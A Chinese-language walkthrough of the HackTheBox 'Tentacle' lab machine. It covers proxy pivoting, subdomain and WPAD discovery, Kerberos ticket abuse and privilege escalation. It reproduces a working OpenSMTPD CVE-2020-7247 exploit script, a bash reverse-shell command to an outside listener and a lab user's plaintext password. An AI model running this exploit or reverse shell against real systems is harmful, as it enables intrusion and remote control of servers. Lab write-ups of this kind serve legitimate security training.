Hackthebox - Tentacle

靶场信息

靶场类型

信息搜集

使用nmap进行端口扫描

nmap -A -sS -sC -sV 10.10.10.224

我们可以看到,开启了22、53、88、3128、9090几个端口

首先让我们看看3128端口吧,这个端口是Squid代理的默认端口,我也是第一次遇到,比较感兴趣

这里报错了,但是给出了一个域名realcorp.htb

经过测试,该域名的用法是使用这个域名来进行子域名枚举,这里使用dnsenum进行枚举

dnsenum –threads 64 –dnsserver 10.10.10.224 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt realcorp.htb

ns.realcorp.htb. 259200 IN A 10.197.243.77

proxy.realcorp.htb. 259200 IN CNAME ns.realcorp.htb.

ns.realcorp.htb. 259200 IN A 10.197.243.77

wpad.realcorp.htb. 259200 IN A 10.197.243.31

我们得到了几个域,但是无法直接访问,所以我们使用proxychains4来枚举它

先让我们编辑一下代理配置文件/etc/proxychains.conf

echo “[ProxyList]\nhttp 10.10.10.224 3128\nhttp 127.0.0.1 3128\nhttp 10.197.243.77 3128” > /etc/proxychains.conf

设置好以后,使用nmap进行扫描

proxychains -f /etc/proxychains.conf nmap -sT -Pn 10.197.243.31

经过非常漫长的等待以后,咱们发现开启了这几个端口

我们可以看到,有一个80端口开着,咱们通过代理去访问看看

proxychains firefox wpad.realcorp.htb

无法被访问

咱们添加一个本地解析

echo 10.197.243.31 wpad.realcorp.htb > /etc/hosts

再次访问就提示403了,咱们做一个信息搜集看看

proxychains dirb http://wpad.realcorp.htb/

经过漫长的等待后,并没有获得什么有用的信息。

然后我把着眼点放到了子域名上

wpad,我去google了一下

发现有一个wpad.dat的文件,咱们去试试能不能下载下来

proxychains firefox http://wpad.realcorp.htb/wpad.dat

OK 存在这个文件,并且可以下载

WPAD协议分析及内网渗透利用

https://xz.aliyun.com/t/1739#toc-9

在我自己测试的时候,第一个段10.197.243.0/24这个IP段,咱们可以跳过

在扫描第二个IP段10.241.251.0/24的时候,经过了大量的信息搜集,发现10.241.251.113开启了smtp端口,因为我已经做过一次了,就不做重复用工,直接扫描113这台机器

proxychains -f /etc/proxychains.conf nmap -sT -sV -Pn 10.241.251.113

我们可以看到,113这台机器开启了25端口,也就是smtp服务

漏洞利用

可以看到这里使用的是OpenSMTPD,咱们去搜索一下相关的漏洞

咱们找到了一个CVE-2020-7247

https://www.exploit-db.com/exploits/47984

咱们简单修改一下Exploit

#!/usr/bin/env python3

import socket, time

import sys

if len(sys.argv) < 4:

print(“usage: exploit.py “)

exit()

HOST = sys.argv[1]

PORT = int(sys.argv[2])

rev_shell_cmd = sys.argv[3]

payload = b”””\r\n

#0\r\n

#1\r\n

#2\r\n

#3\r\n

#4\r\n

#5\r\n

#6\r\n

#7\r\n

#8\r\n

#9\r\n

#a\r\n

#b\r\n

#c\r\n

#d\r\n

“”” + rev_shell_cmd.encode() + b”””

.

“””

for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC, socket.SOCK_STREAM):

af, socktype, proto, canonname, sa = res

try:

s = socket.socket(af, socktype, proto)

except OSError as msg:

s = None

continue

try:

s.connect(sa)

except OSError as msg:

s.close()

s = None

continue

break

if s is None:

print(“Could not open socket”)

sys.exit(1)

with s:

data = s.recv(1024)

print(‘Received’, repr(data))

time.sleep(1)

print(‘SENDING HELO’)

s.send(b”helo test.com\r\n”)

data = s.recv(1024)

print(‘RECIEVED’, repr(data))

s.send(b”MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>\r\n”)

time.sleep(1)

data = s.recv(1024)

print(‘RECIEVED’, repr(data))

s.send(b”RCPT TO:j.nakazawa@realcorp.htb\r\n”)

data = s.recv(1024)

print(‘RECIEVED’, repr(data))

s.send(b”DATA\r\n”)

data = s.recv(1024)

print(‘RECIEVED’, repr(data))

s.send(payload)

data = s.recv(1024)

print(‘RECIEVED’, repr(data))

s.send(b”QUIT\r\n”)

data = s.recv(1024)

print(‘RECIEVED’, repr(data))

print(“Exploited”)

s.close()

保存为exploit.py后,本地使用nc开启一个端口监听

nc -nvlp 4444

使用proxychains4代理运行该脚本

proxychains4 python3 expliot.py 10.241.251.113 25 ‘bash -c “exec bash -i &> /dev/tcp/10.10.14.2/4444 <&1”‘

成功拿到一个shell,并且直接就是root权限

但是这个shell是smtp的root,并不是系统的root,咱们还要想办法提权

权限提升

咱们进入/home目录查看一下

有一个j.nakazawa目录,咱们进去找一下有没有用的东西

我们在里面找到一个.msmtprc文件,咱们查看一下

咱们得到了用户j.nakazawa的账号密码

USERNAME = j.nakazawa

PASSWORD = sJB}RM>6Z~64_

但这个用户无法直接登录ssh,所以咱们还得想办法来利用

各位还记得10.10.10.224这台机器上 3128端口中另一个线索吗

没错,就是这个srv01.realcorp.htb,咱们将它加入到hosts里

echo 10.10.10.224 srv01.realcorp.htb > /etc/hosts

记得确保hosts文件中只有这一台主机,输入上面的指令即可

然后我们使用kerbos生成票据进行登录

apt install krb5-user

然后咱们修改对应配置

vim /etc/krb5.conf

[libdefaults]

default_realm = REALCORP.HTB

[realms]

REALCORP.HTB = {

kdc = 10.10.10.224

}

[domain_realm]

srv01.realcorp.htb = REALCORP.HTB

分别填入对应位置即可

然后咱们去生成票据

kinit j.nakazawa

password:sJB}RM>6Z~64_

然后咱们检查一下可用的票据

klist

OK,确定生成成功

然后咱们使用ssh进行登录

ssh j.nakazawa@10.10.10.224

登录成功

成功获得user权限的flag

咱们查看一下/etc/crontab

定时任务发现admin定时运行/usr/local/bin/log_backup.sh

咱们查看一下

我们可以看到,是从squid目录复制文件到admin目录,那么我们如果写入认证文件到squid目录,从而使其被复制到admin目录呢?说干就干

现在创建一个名为.k5login的文件,并复制到squid目录下

echo “j.nakazawa@REALCORP.HTB“ >> .k5login

cp .k5login /var/log/squid

然后我们稍等一会儿之后,使用admin的身份来进行登录

OK,成功拿到admin权限

但是我发现,权限还是不够,咱们还不是root权限,还得提。。。

好家伙,这得提三次权也是没谁了

咱们使用klist查看一下/etc/krb5.keytab这个文件

klist -k /etc/krb5.keytab

咱们发现了有很多个Kerberos的加密密钥

咱们使用kadmin进行利用

kadmin -k -t /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB

add_principal root@REALCORP.HTB

然后自己设置一个密码即可

然后使用ksu切换到root即可

成功提权到root

成功拿到root权限的flag

收工睡觉

哎,目前在线的easy和medium都打完了,今天开始只能打hard难度的了,难顶啊